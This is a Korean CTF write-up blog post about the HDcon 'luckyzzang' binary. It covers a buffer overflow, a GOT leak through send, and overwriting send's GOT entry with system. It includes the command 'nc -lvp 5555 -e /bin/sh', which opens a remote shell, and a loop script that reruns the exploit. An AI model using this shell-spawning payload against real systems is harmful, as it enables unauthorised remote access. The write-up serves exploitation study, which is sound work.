본문으로 바로가기

HDcon luckyzzang write up

category 해킹/Write Up 2017. 1. 27. 20:26

0.Introduce

푼지 좀 시간이 지났으나 이제야 올립니다. rop를 공부하고 있을 때 풀었는데 리버스 커넥션을 처음 해보았고 send로 got를 leak해서 푸는게 정말 신기했던 문제입니다. 이문제를 풀때는 엄청 힘들게 풀었던것 같습니다.


1. binary


2. Vulnerability


취약점은 꽤 빨리 찾을 수 있다.

return 에서 1025가 넘어가게 받을때도 있기때문에 버퍼오버플로우 취약점이 발생한다.


3. Exploit

스택은 사용하지 못하기때문에 got overwrite를 이용해 풀려고 한다.


1) Leak

- send_got를 send_plt를 이용해 전송했다.

- send의 주소와 system 주소의 차이를 구해서 system주소를 구한다.


2) exploit

- leak한 system주소를 send_got에 덮어준다.

- 리버스 커넥션을 하기위해서 'nc -lvp 5555 -e /bin/sh'를 bss영역에 써준다.

- send_plt + "AAAA" + bss_add로 포트 5555를 열어준다.

- 다른 쉘을 열어서 nc ip 5555로 쉘을 획득한다.


# Notes

buf크기가 랜덤이기 때문에 계속 파이썬 코드를 실행해주는 쉘 스크립트를짜서 돌려주고 nc ip 5555로 접속을 시도하는게 더 빠르게 쉘을 얻을 수 있다.

#!/bin/sh


CMD="python filename"

while [ 1 ]; do

sh -c "$CMD"

done




https://github.com/LYoungJoo/CTF-Write-Up/blob/master/2013_HDconpwn%20Write%20Up/luckyzzang.py



'해킹 > Write Up' 카테고리의 다른 글

Plaid CTF 2014 ezhp Write Up  (0) 2017.01.29
Codegate 2014 angry_doraemon  (0) 2017.01.28
3DS CTF 2016 not-the-same-200 Write Up  (0) 2017.01.27
3DS CTF 2016 get-started-100 Write Up  (0) 2017.01.27
Exploit Exercises Protostar Stack~Net Write Up  (0) 2017.01.27